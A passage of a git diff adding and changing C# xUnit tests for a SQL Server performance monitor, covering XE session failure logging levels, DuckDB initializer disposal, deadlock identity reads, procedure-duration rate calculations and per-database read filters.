+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync();
+            rig.ServerFailure = SqlExceptionFactory.Create(262, errorClass: 14, message: "CREATE EVENT SESSION permission was denied.");
+            var lines = new List<string>();
+
+            await FailingOnPremCycleAsync(rig, session);
+            await FailingOnPremCycleAsync(rig, session);
+            await FailingOnPremCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(1, Count(lines, "WARN", RefusalLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", RefusalLine(session)));
+            Assert.Equal(0, Count(lines, "ERROR", RefusalLine(session)));
+        });
+    }
+
+    /// <summary>
+    /// A cycle that succeeds ends the run of failures, so the next failure logs at its level again. An engine's answer that the
+    /// session already exists and is running is a success too.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock, false)]
+    [InlineData(Deadlock, true)]
+    [InlineData(BlockedProcess, false)]
+    [InlineData(BlockedProcess, true)]
+    public async Task AServerScopedEnsureThatFailsAgainAfterItSucceeded_LogsItsErrorAgain(string session, bool alreadyPresent)
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync();
+            var failure = SqlExceptionFactory.Create(1105, errorClass: 17, message: "The filegroup is full.");
+            rig.ServerFailure = failure;
+            var lines = new List<string>();
+
+            await FailingOnPremCycleAsync(rig, session);
+            await FailingOnPremCycleAsync(rig, session);
+
+            /* The engine says the session exists and runs (25631), or the ensure simply succeeds. Neither throws. */
+            rig.ServerFailure = alreadyPresent ? SqlExceptionFactory.Create(25631, errorClass: 16, message: "The event session already exists.") : null;
+            await EnsureOnPremAsync(rig, session);
+
+            rig.ServerFailure = failure;
+            await FailingOnPremCycleAsync(rig, session);
+            await FailingOnPremCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(2, Count(lines, "ERROR", RefusalLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", RefusalLine(session)));
+        });
+    }
+
+    /// <summary>
+    /// The kept state is per session for the server-scoped arm too: the deadlock session's run of failures does not turn the
+    /// blocked-process session's first failure into a Debug line, and the reverse.
+    /// </summary>
+    [Fact]
+    public async Task ARunOfServerScopedFailuresOfOneSession_DoesNotQuietTheOthersFirstFailure()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync();
+            rig.ServerFailure = SqlExceptionFactory.Create(1105, errorClass: 17, message: "The filegroup is full.");
+            var lines = new List<string>();
+
+            await FailingOnPremCycleAsync(rig, Deadlock);
+            await FailingOnPremCycleAsync(rig, Deadlock);
+            await FailingOnPremCycleAsync(rig, BlockedProcess);
+            await FailingOnPremCycleAsync(rig, BlockedProcess);
+            lines.AddRange(Lines(rig.Server));
+
+            foreach (var session in new[] { Deadlock, BlockedProcess })
+            {
+                Assert.Equal(1, Count(lines, "ERROR", RefusalLine(session)));
+                Assert.Equal(1, Count(lines, "DEBUG", RefusalLine(session)));
+            }
+        });
+    }
+
+    private static string SessionName(string session) =>
+        session == Deadlock ? DeadlocksCollector.XeSessionName : BlockedProcessReportCollector.XeSessionName;
+
+    /// <summary>
+    /// The collector's own line for a failed ensure follows the ensure's: the first failing cycle logs it at Error, and the
+    /// cycles after it log it at Debug. Every run still records ERROR with the same message, counts toward the collector's
+    /// consecutive errors, and flags the XE session unavailable.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task ACollectorWhoseEnsureFailsOnEveryCycle_LogsItsOwnLineOnce_ThenDebug(string session)
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync();
+            rig.RefuseEveryDatabase();
+            rig.RefusalNumber = 4060;
+            var lines = new List<string>();
+
+            await RunCollectorAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+            Assert.Equal(1, Count(lines, "ERROR", CollectorLine(session)));
+
+            await RunCollectorAsync(rig, session);
+            await RunCollectorAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(1, Count(lines, "ERROR", CollectorLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", CollectorLine(session)));
+
+            /* The run row and its classification are the same on every cycle, and so is the retry. */
+            var runs = await ReadRunsAsync(rig, session);
+            Assert.Equal(3, runs.Count);
+            Assert.All(runs, run =>
+            {
+                Assert.Equal("ERROR", run.Status);
+                Assert.Contains($"Failed to ensure {session} XE session", run.Error, StringComparison.Ordinal);
+            });
+            Assert.Equal(9, rig.TriedFor(session));
+
+            var failure = Assert.Single(rig.Service.GetHealthSummary(rig.ServerId).XeSessionFailures);
+            Assert.Equal(3, failure.ConsecutiveErrors);
+        });
+    }
+
+    /// <summary>
+    /// A run whose ensure succeeded ends the run of failures, so the next failing run logs its own line at Error again.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task ACollectorWhoseEnsureFailsAgainAfterItSucceeded_LogsItsOwnLineAtErrorAgain(string session)
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync();
+            rig.RefuseEveryDatabase();
+            rig.RefusalNumber = 4060;
+            var lines = new List<string>();
+
+            await RunCollectorAsync(rig, session);
+            await RunCollectorAsync(rig, session);
+
+            /* The ensure succeeds in every database. (A run would go on to read the server, so the ensure is called directly.) */
+            rig.Refuse.Clear();
+            await EnsureAsync(rig, session);
+
+            rig.RefuseEveryDatabase();
+            await RunCollectorAsync(rig, session);
+            await RunCollectorAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(2, Count(lines, "ERROR", CollectorLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", CollectorLine(session)));
+            Assert.Equal(4, (await ReadRunsAsync(rig, session)).Count(run => run.Status == "ERROR"));
+        });
+    }
+
+    /// <summary>
+    /// A permission refusal is classified PERMISSIONS, and its collector line is a Warning the first time and Debug after it.
+    /// The scheduler skips a collector that was refused for permission, so the second run happens only once the server's
+    /// health is cleared, as removing the server does.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task ACollectorRefusedForPermission_LogsItsOwnLineAtWarning_ThenDebug(string session)
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync();
+            rig.RefuseEveryDatabase();
+            var lines = new List<string>();
+
+            await RunCollectorAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+            Assert.Equal(1, Count(lines, "WARN", CollectorLine(session)));
+
+            rig.Service.ClearHealthForServer(rig.ServerId);
+            await RunCollectorAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(1, Count(lines, "WARN", CollectorLine(session)));
+            Assert.Equal(1, Count(lines, "DEBUG", CollectorLine(session)));
+            Assert.Equal(0, Count(lines, "ERROR", CollectorLine(session)));
+
+            var runs = await ReadRunsAsync(rig, session);
+            Assert.Equal(2, runs.Count);
+            Assert.All(runs, run => Assert.Equal("PERMISSIONS", run.Status));
+        });
+    }
+}
diff --git a/Lite.Tests/DeadlockDuplicateCleanupTests.cs b/Lite.Tests/DeadlockDuplicateCleanupTests.cs
index 5dac41524a..d011478e89 100644
--- a/Lite.Tests/DeadlockDuplicateCleanupTests.cs
+++ b/Lite.Tests/DeadlockDuplicateCleanupTests.cs
@@ -68,7 +68,10 @@ public void Dispose()
     [Fact]
     public async Task TheNextStartLeavesOneRowPerExactDuplicate_KeepsTheEarliest_AndTheStartAfterRemovesNothing()
     {
-        await new DuckDbInitializer(_dbPath).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(_dbPath))
+        {
+            await initializer.InitializeAsync();
+        }
 
         using (var seed = new DuckDBConnection($"Data Source={_dbPath}"))
         {
@@ -99,7 +102,10 @@ public async Task TheNextStartLeavesOneRowPerExactDuplicate_KeepsTheEarliest_And
             Assert.Equal(KeptIds.Length + RemovedIds.Length, await CountAsync(seed));
         }
 
-        await new DuckDbInitializer(_dbPath).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(_dbPath))
+        {
+            await initializer.InitializeAsync();
+        }
 
         using var verify = new DuckDBConnection($"Data Source={_dbPath}");
         await verify.OpenAsync();
@@ -117,7 +123,10 @@ public async Task TheNextStartLeavesOneRowPerExactDuplicate_KeepsTheEarliest_And
         Assert.Equal(0, await DeadlockDuplicateCleanup.RemoveAsync(verify, logger: null));
         verify.Close();
 
-        await new DuckDbInitializer(_dbPath).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(_dbPath))
+        {
+            await initializer.InitializeAsync();
+        }
         using var again = new DuckDBConnection($"Data Source={_dbPath}");
         await again.OpenAsync();
         Assert.Equal(KeptIds.OrderBy(i => i).ToList(), await ReadIdsAsync(again));
@@ -126,7 +135,10 @@ public async Task TheNextStartLeavesOneRowPerExactDuplicate_KeepsTheEarliest_And
     [Fact]
     public async Task TheCleanupCalledDirectlyReportsTheRowsItRemoved()
     {
-        await new DuckDbInitializer(_dbPath).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(_dbPath))
+        {
+            await initializer.InitializeAsync();
+        }
 
         using var connection = new DuckDBConnection($"Data Source={_dbPath}");
         await connection.OpenAsync();
diff --git a/Lite.Tests/DeadlockStoredIdentityReadLiteTests.cs b/Lite.Tests/DeadlockStoredIdentityReadLiteTests.cs
index c5dcce9d83..a2a8500661 100644
--- a/Lite.Tests/DeadlockStoredIdentityReadLiteTests.cs
+++ b/Lite.Tests/DeadlockStoredIdentityReadLiteTests.cs
@@ -9,6 +9,8 @@
 using System;
 using System.Collections.Generic;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 using PerformanceMonitorLite.Services;
 using Xunit;
 
@@ -40,17 +42,19 @@ public void ACopyInsideTheFloorIsFound_AndOneBeforeItIsNotRead()
         using (var create = connection.CreateCommand())
         {
             create.CommandText =
-                "CREATE TABLE deadlocks (server_id INTEGER, deadlock_time TIMESTAMP, collection_time TIMESTAMP, deadlock_graph_xml VARCHAR)";
+                "CREATE TABLE deadlocks (server_id INTEGER, deadlock_time TIMESTAMP, collection_time TIMESTAMP, deadlock_graph_xml VARCHAR, victim_process_id VARCHAR, database_name VARCHAR)";
             create.ExecuteNonQuery();
         }
 
-        void Insert(string graph, DateTime collected, DateTime? time = null)
+        void Insert(string graph, DateTime collected, DateTime? time = null, string? victim = null, string? database = null)
         {
             using var insert = connection.CreateCommand();
-            insert.CommandText = "INSERT INTO deadlocks VALUES (1, $1, $2, $3)";
+            insert.CommandText = "INSERT INTO deadlocks VALUES (1, $1, $2, $3, $4, $5)";
             insert.Parameters.Add(new DuckDBParameter { Value = time ?? EventTime });
             insert.Parameters.Add(new DuckDBParameter { Value = collected });
             insert.Parameters.Add(new DuckDBParameter { Value = graph });
+            insert.Parameters.Add(new DuckDBParameter { Value = (object?)victim ?? DBNull.Value });
+            insert.Parameters.Add(new DuckDBParameter { Value = (object?)database ?? DBNull.Value });
             insert.ExecuteNonQuery();
         }
 
@@ -58,6 +62,11 @@ void Insert(string graph, DateTime collected, DateTime? time = null)
         Insert("edge", EventTime.AddDays(-1));
         Insert("before", EventTime.AddDays(-1).AddSeconds(-1));
         Insert("", EventTime.AddMinutes(5));
+        /* #4348 (R4b): a whole-marker graph reads back as marker + victim + database, the text the collector builds
+           for the row it is about to write; one with no victim process id reads back as the bare marker. */
+        Insert(SensitiveStatements.PlaceholderText, EventTime.AddMinutes(5), victim: "process1", database: "db1");
+        Insert(SensitiveStatements.PlaceholderText, EventTime.AddMinutes(5), victim: "process2");
+        Insert(SensitiveStatements.PlaceholderText, EventTime.AddMinutes(5));
 
         var found = new List<string>();
         using (var read = connection.CreateCommand())
@@ -75,6 +84,16 @@ void Insert(string graph, DateTime collected, DateTime? time = null)
         }
 
         found.Sort(StringComparer.Ordinal);
-        Assert.Equal(new[] { "edge", "inside" }, found);
+        var marker = SensitiveStatements.PlaceholderText;
+        var expected = new[]
+        {
+            "edge", "inside", marker, marker + "\u0001process1\u0001db1", marker + "\u0001process2\u0001",
+        };
+        Array.Sort(expected, StringComparer.Ordinal);
+        Assert.Equal(expected, found);
+
+        /* The same text the collector gives a row it is about to write. */
+        var row = new DeadlocksCollector.Row { DeadlockTime = EventTime, GraphXml = marker, VictimProcessId = "process1", DatabaseName = "db1" };
+        Assert.Equal(marker + "\u0001process1\u0001db1", DeadlocksCollector.Instance.GetIdentity(row)!.Value.Graph);
     }
 }
diff --git a/Lite.Tests/DeadlocksAzureLoopStateLiteTests.cs b/Lite.Tests/DeadlocksAzureLoopStateLiteTests.cs
index f8f221b0f1..465cce8cc4 100644
--- a/Lite.Tests/DeadlocksAzureLoopStateLiteTests.cs
+++ b/Lite.Tests/DeadlocksAzureLoopStateLiteTests.cs
@@ -36,6 +36,8 @@ namespace Lite.Tests;
 /// </summary>
 public class DeadlocksAzureLoopStateLiteTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private const string TelemetryKey = "dl_telemetry_cursor";
     private const string AlphaKey = "dl_ring_cursor:alpha";
     private const string ZetaKey = "dl_ring_cursor:zeta";
@@ -59,6 +61,11 @@ public DeadlocksAzureLoopStateLiteTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -75,6 +82,7 @@ private sealed record Rig(DuckDbInitializer DuckDb, RemoteCollectorService Servi
     private async Task<Rig> BuildRigAsync()
     {
         var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
         await duckDb.InitializeAsync();
 
         var serverManager = new ServerManager(_configDir);
diff --git a/Lite.Tests/DeadlocksTelemetryCursorLiteTests.cs b/Lite.Tests/DeadlocksTelemetryCursorLiteTests.cs
index fc46f63378..3344ddedd6 100644
--- a/Lite.Tests/DeadlocksTelemetryCursorLiteTests.cs
+++ b/Lite.Tests/DeadlocksTelemetryCursorLiteTests.cs
@@ -26,6 +26,7 @@ namespace Lite.Tests;
 /// (<c>database_name = 'master'</c>) almost never finds a row and every run re-reads the last ten minutes.
 /// The arm keeps its own cursor in collector state: the newest <c>deadlock_time</c> the arm itself returned.
 /// </summary>
+[Trait("Reads", "Darling")]
 public class DeadlocksTelemetryCursorLiteTests
 {
     private const string Key = "dl_telemetry_cursor";
diff --git a/Lite.Tests/DefaultTraceEventsCollectorDefinitionTests.cs b/Lite.Tests/DefaultTraceEventsCollectorDefinitionTests.cs
index f67489033d..f5db62579e 100644
--- a/Lite.Tests/DefaultTraceEventsCollectorDefinitionTests.cs
+++ b/Lite.Tests/DefaultTraceEventsCollectorDefinitionTests.cs
@@ -494,7 +494,7 @@ public void BuildQuery_ReturnsTheReadPathAsATrailingResultSet_NotAPayloadColumn(
            cycles that most need the path recorded are the ones that collect ZERO rows (a server whose
            trace churns through 20 MB files without producing curated events), and a row-derived path
            would never notice those rollovers — leaving the collector in the expensive fallback forever. */
-        Assert.Contains("OPTION(RECOMPILE);\n\nSELECT\n    current_trace_path = @current_trace_path;", text, StringComparison.Ordinal);
+        Assert.Contains("OPTION(RECOMPILE);\n\nSELECT /* PerformanceMonitorLite */\n    current_trace_path = @current_trace_path;", text, StringComparison.Ordinal);
         Assert.DoesNotContain("current_trace_path = ft.", text, StringComparison.Ordinal);
         Assert.DoesNotContain("trace_path", string.Join(",", DefaultTraceEventsCollector.Instance.PayloadColumns.Select(c => c.Name)), StringComparison.Ordinal);
     }
diff --git a/Lite.Tests/DeltaFamilySeedingCensusTests.cs b/Lite.Tests/DeltaFamilySeedingCensusTests.cs
index 4e83361c37..e7d2d159a8 100644
--- a/Lite.Tests/DeltaFamilySeedingCensusTests.cs
+++ b/Lite.Tests/DeltaFamilySeedingCensusTests.cs
@@ -40,6 +40,8 @@ namespace PerformanceMonitorLite.Tests;
 /// record of why it existed stays below so the next family that cannot be seeded has the idiom to
 /// follow.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class DeltaFamilySeedingCensusTests
 {
     private const string LiteSeeder = "Lite/Services/DeltaCalculator.cs";
diff --git a/Lite.Tests/DeltaFamilyUnknowableRowReadTests.cs b/Lite.Tests/DeltaFamilyUnknowableRowReadTests.cs
index d0e5989c7f..7b36ea4478 100644
--- a/Lite.Tests/DeltaFamilyUnknowableRowReadTests.cs
+++ b/Lite.Tests/DeltaFamilyUnknowableRowReadTests.cs
@@ -305,10 +305,14 @@ public async Task LatchAndSpinlockSnapshots_NullTheDeltasOnTheMarkerRow_KeepMeas
     /// zero into a confident 0.00 ms/sec. Four collections five minutes apart: t1/t2 are pre-v61 collections
     /// (NULL interval) — t1 has no prior and is UNRATED (a point with null rates, #3541 A12: kept rather than
     /// dropped so a lone collection is never an empty series and the MCP payload's effective_start is the
-    /// first collection the store held), t2 divides by the LAG's 300 s. t3 is a restart: every row stores 0,
+    /// first collection the store held), t2 divides by its 300 s gap to t1. t3 is a restart: every row stores 0,
     /// so MAX is 0 and the collection is likewise unrated — never 0.00 ms/sec. t4 is a steady pass with a plan
-    /// the TOP (150) just readmitted (its row stores 0 beside a 0 delta) beside a measured row (120 s), so MAX
-    /// is 120 — the stored interval wins over the LAG's 300 — and the readmitted plan adds nothing to the sums.
+    /// the TOP (150) just readmitted (its row stores 0 beside a 0 delta) beside a row that stored 120 s. A point's
+    /// seconds are the gap to the previous point on the run axis (#5449), and 120 s means the run before t4 began
+    /// 120 s earlier and stored no rows: an idle SUCCESS run in the log (the log stamps a run's START, so t3's and
+    /// t4's own runs are logged just before their rows, and the idle run is the one with no stored collection before
+    /// the next run). The idle run is a 0-work point over its 180 s gap to t3, and t4 divides by its 120 s gap to it
+    /// (1200 ms / 120 s = 10.0). The readmitted plan adds nothing to the sums.
     /// </summary>
     [Fact]
     public async Task ProcedureDurationTrend_LeavesTheUnknowableCollectionUnrated_PrefersTheStoredInterval_KeepsPreV61History()
@@ -324,9 +328,15 @@ public async Task ProcedureDurationTrend_LeavesTheUnknowableCollectionUnrated_Pr
         await SeedProcedureAsync(t4, "usp_A", deltaExecutions: 24, deltaElapsedUs: 1_200_000, interval: 120);
         await SeedProcedureAsync(t4, "usp_New", deltaExecutions: 0, deltaElapsedUs: 0, interval: 0);
 
+        /* The log: t3's and t4's runs at their start (just before the rows they stored), and the idle run 120 s before t4. */
+        var idleRun = t4.AddSeconds(-120);
+        await SeedRunAsync(t3.AddSeconds(-1));
+        await SeedRunAsync(idleRun);
+        await SeedRunAsync(t4.AddSeconds(-1));
+
         var points = await _dataService.GetProcedureDurationTrendAsync(ServerId, hoursBack: 3);
 
-        Assert.Equal(new[] { t1, t2, t3, t4 }, points.Select(p => p.CollectionTime).ToArray());
+        Assert.Equal(new[] { t1, t2, t3, idleRun, t4 }, points.Select(p => p.CollectionTime).ToArray());
 
         /* t1 (no prior) and t3 (restart marker): present, unrated — null, never 0. */
         Assert.False(points[0].HasRate);
@@ -336,13 +346,45 @@ public async Task ProcedureDurationTrend_LeavesTheUnknowableCollectionUnrated_Pr
         Assert.Null(points[2].Value);
         Assert.Null(points[2].ExecutionCount);
 
-        /* t2 (pre-v61): 600 ms / 300 s = 2.0 ms/sec; 30 / 300 = 0.1 executions/sec. */
+        /* t2 (pre-v61): 600 ms / the 300 s gap to t1 = 2.0 ms/sec; 30 / 300 = 0.1 executions/sec. */
         Assert.Equal(2.0, points[1].Value!.Value, precision: 6);
         Assert.Equal(0.1, points[1].ExecutionsPerSecond!.Value, precision: 6);
 
-        /* t4: the STORED 120 s — 1200 / 120 = 10.0, not the LAG's 1200 / 300 = 4.0; 24 / 120 = 0.2. */
-        Assert.Equal(10.0, points[3].Value!.Value, precision: 6);
-        Assert.Equal(0.2, points[3].ExecutionsPerSecond!.Value, precision: 6);
+        /* The idle run: no work over its 180 s gap to t3, a measured 0. */
+        Assert.Equal(0.0, points[3].Value!.Value, precision: 6);
+        Assert.Equal(0.0, points[3].ExecutionsPerSecond!.Value, precision: 6);
+
+        /* t4: the 120 s gap to the idle run — 1200 / 120 = 10.0, not 1200 / 300 = 4.0; 24 / 120 = 0.2. */
+        Assert.Equal(10.0, points[4].Value!.Value, precision: 6);
+        Assert.Equal(0.2, points[4].ExecutionsPerSecond!.Value, precision: 6);
+    }
+
+    /// <summary>
+    /// #5449: the same four collections with NO collection log (an imported or old archive): the axis is the stored
+    /// collections alone, so t4 divides by its 300 s gap to t3 (1200 ms / 300 s = 4.0), not by the 120 s it stored,
+    /// which only a logged idle run can place. t1 and t3 stay unrated, t2 is 2.0.
+    /// </summary>
+    [Fact]
+    public async Task ProcedureDurationTrend_WithNoCollectionLog_RatesOverTheStoredCollectionsAlone()
+    {
+        var t1 = Truncate(DateTime.UtcNow.AddHours(-2));
+        var t2 = t1.AddMinutes(5);
+        var t3 = t2.AddMinutes(5);
+        var t4 = t3.AddMinutes(5);
+
+        await SeedProcedureAsync(t1, "usp_A", deltaExecutions: 5, deltaElapsedUs: 100_000, interval: null);
+        await SeedProcedureAsync(t2, "usp_A", deltaExecutions: 30, deltaElapsedUs: 600_000, interval: null);
+        await SeedProcedureAsync(t3, "usp_A", deltaExecutions: 0, deltaElapsedUs: 0, interval: 0);
+        await SeedProcedureAsync(t4, "usp_A", deltaExecutions: 24, deltaElapsedUs: 1_200_000, interval: 120);
+        await SeedProcedureAsync(t4, "usp_New", deltaExecutions: 0, deltaElapsedUs: 0, interval: 0);
+
+        var points = await _dataService.GetProcedureDurationTrendAsync(ServerId, hoursBack: 3);
+
+        Assert.Equal(new[] { t1, t2, t3, t4 }, points.Select(p => p.CollectionTime).ToArray());
+        Assert.False(points[0].HasRate);
+        Assert.Equal(2.0, points[1].Value!.Value, precision: 6);
+        Assert.False(points[2].HasRate);
+        Assert.Equal(4.0, points[3].Value!.Value, precision: 6);   /* no log = the stored collections are the axis: 1200 ms / the 300 s gap to t3 */
     }
 
     /// <summary>
@@ -546,6 +588,23 @@ private async Task SeedProcedureAsync(DateTime at, string objectName, long delta
         await cmd.ExecuteNonQueryAsync();
     }
 
+    /// <summary>One SUCCESS run of the procedure collector in the collection log, stamped at the run's start (#5449).</summary>
+    private async Task SeedRunAsync(DateTime startedAt)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var conn = await SeedConnectionAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = @"INSERT INTO collection_log
+            (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+            VALUES ($1, $2, $3, 'procedure_stats', $4, 0, 'SUCCESS', 0)";
+        foreach (var v in new object[] { _nextId--, ServerId, ServerName, startedAt })
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        }
+
+        await cmd.ExecuteNonQueryAsync();
+    }
+
     private async Task SeedQueryStatAsync(DateTime at, string queryHash, long deltaExecutions, long deltaElapsedUs, int? interval)
     {
         using var readLock = _duckDb.AcquireReadLock();
diff --git a/Lite.Tests/DesktopDatabaseFilterReadsTests.cs b/Lite.Tests/DesktopDatabaseFilterReadsTests.cs
new file mode 100644
index 0000000000..370ddf557c
--- /dev/null
+++ b/Lite.Tests/DesktopDatabaseFilterReadsTests.cs
@@ -0,0 +1,438 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5312: the saved per-server database filter narrows the desktop reads the web filter narrows. Per read: the filter
+/// returns only the chosen databases, no filter (null or empty) leaves every row, and a parity check against the reader
+/// the MCP tool uses for the same seed. The statement-shape pins at the bottom read the source text so a tab that stops
+/// passing the filter into its read fails here.
+/// </summary>
+public sealed class DesktopDatabaseFilterReadsTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 531200;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly LocalDataService _service;
+    private DuckDBConnection? _conn;
+    private long _nextId = 5312000;
+
+    public DesktopDatabaseFilterReadsTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _service = new LocalDataService(_duckDb);
+    }
+
+    public void Dispose() => _conn?.Dispose();
+
+    private async Task ExecAsync(string sql, params object[] values)
+    {
+        if (_conn is null)
+        {
+            _conn = _duckDb.CreateConnection();
+            await _conn.OpenAsync();
+        }
+        using var cmd = _conn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in values)
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        }
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    // One clock read per test instance (cut to the minute). Reading the clock on every call split rows
+    // seeded together across two minutes whenever a minute boundary passed mid-seed.
+    private readonly DateTime _minuteAnchor = MinuteOf(DateTime.UtcNow);
+
+    private static DateTime MinuteOf(DateTime now) =>
+        new(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+
+    private DateTime Minute(int minutesAgo) => _minuteAnchor.AddMinutes(-minutesAgo);
+
+    private static readonly string[] OnlyA = { "DbA" };
+    private static readonly string[] AAndB = { "DbA", "DbB" };
+
+    /* ───────────────────────── File I/O trends ───────────────────────── */
+
+    private Task SeedFileIoAsync(string db, string file, int minutesAgo, long reads, long writes) =>
+        ExecAsync(@"INSERT INTO file_io_stats
+            (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb,
+             delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms,
+             sample_interval_seconds)
+            VALUES ($1, $2, $3, 'Srv', $4, $5, 'ROWS', '', 100, $6, $7, $8, $9, $10, $11, 60)",
+            _nextId++, Minute(minutesAgo), ServerId, db, file, reads, writes, reads * 8192, writes * 8192, reads * 2, writes * 3);
+
+    /// <summary>DbA has one quiet file; DbC has ELEVEN louder ones, so the unfiltered top ten leaves DbA out.</summary>
+    private async Task SeedBusyServerAsync()
+    {
+        foreach (var minutes in new[] { 20, 10 })
+        {
+            await SeedFileIoAsync("DbA", "a.mdf", minutes, 5, 5);
+            await SeedFileIoAsync("DbB", "b.mdf", minutes, 6, 6);
+            for (int i = 0; i < 11; i++)
+            {
+                await SeedFileIoAsync("DbC", $"c{i}.mdf", minutes, 1000 + i, 1000 + i);
+            }
+        }
+    }
+
+    [Fact]
+    public async Task FileIoLatencyTrend_FilterRanksAndReturnsOnlyTheChosenDatabases()
+    {
+        await SeedBusyServerAsync();
+
+        var unfiltered = await _service.GetFileIoLatencyTrendAsync(ServerId, 1);
+        Assert.DoesNotContain(unfiltered, p => p.DatabaseName == "DbA");
+        Assert.Equal(10, unfiltered.Select(p => p.FileName).Distinct().Count());
+
+        var filtered = await _service.GetFileIoLatencyTrendAsync(ServerId, 1, databaseNames: OnlyA);
+        Assert.NotEmpty(filtered);
+        Assert.All(filtered, p => Assert.Equal("DbA", p.DatabaseName));
+
+        var two = await _service.GetFileIoLatencyTrendAsync(ServerId, 1, databaseNames: AAndB);
+        Assert.Equal(new[] { "DbA", "DbB" }, two.Select(p => p.DatabaseName).Distinct().OrderBy(n => n).ToArray());
+    }
+
+    [Fact]
+    public async Task FileIoLatencyTrend_NoFilterIsTheUnfilteredRead()
+    {
+        await SeedBusyServerAsync();
+
+        var none = await _service.GetFileIoLatencyTrendAsync(ServerId, 1, databaseNames: null);
+        var empty = await _service.GetFileIoLatencyTrendAsync(ServerId, 1, databaseNames: new List<string>());
+        var plain = await _service.GetFileIoLatencyTrendAsync(ServerId, 1);
+
+        Assert.Equal(plain.Count, none.Count);
+        Assert.Equal(plain.Count, empty.Count);
+
+        /* The empty clause is the statement as it read before #5312: the ranking CTE below is a literal copy of the unfiltered text, so this
+           fails if the empty clause ever leaves residue in the ranking. (FileIoLatencyTrendSql is defined as SqlFor(""), so comparing
+           the two proves nothing.) The ranking head moved from one reads + writes ranking to a reads ranking and a writes ranking
+           (release walk V9), so the literal is the new head; the empty-clause check is unchanged. */
+        const string oldTopFiles = @"
+WITH file_totals AS (
+    SELECT
+        database_name,
+        file_name,
+        COALESCE(SUM(delta_reads), 0) AS total_reads,
+        COALESCE(SUM(delta_writes), 0) AS total_writes
+    FROM v_file_io_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+    AND   (delta_reads > 0 OR delta_writes > 0)
+    GROUP BY database_name, file_name
+),";
+        Assert.StartsWith(oldTopFiles.Replace("\r\n", "\n"), LocalDataService.FileIoLatencyTrendSql.Replace("\r\n", "\n"), StringComparison.Ordinal);
+        Assert.NotEqual(LocalDataService.FileIoLatencyTrendSql, LocalDataService.FileIoLatencyTrendSqlFor(" AND database_name IN ($5)"));
+    }
+
+    [Fact]
+    public async Task FileIoThroughputTrend_FilterRanksAndReturnsOnlyTheChosenDatabases()
+    {
+        await SeedBusyServerAsync();
+
+        var unfiltered = await _service.GetFileIoThroughputTrendAsync(ServerId, 1);
+        Assert.DoesNotContain(unfiltered, p => p.FileLabel.StartsWith("DbA.", StringComparison.Ordinal));
+
+        var filtered = await _service.GetFileIoThroughputTrendAsync(ServerId, 1, databaseNames: OnlyA);
+        Assert.NotEmpty(filtered);
+        Assert.All(filtered, p => Assert.StartsWith("DbA.", p.FileLabel, StringComparison.Ordinal));
+
+        var empty = await _service.GetFileIoThroughputTrendAsync(ServerId, 1, databaseNames: new List<string>());
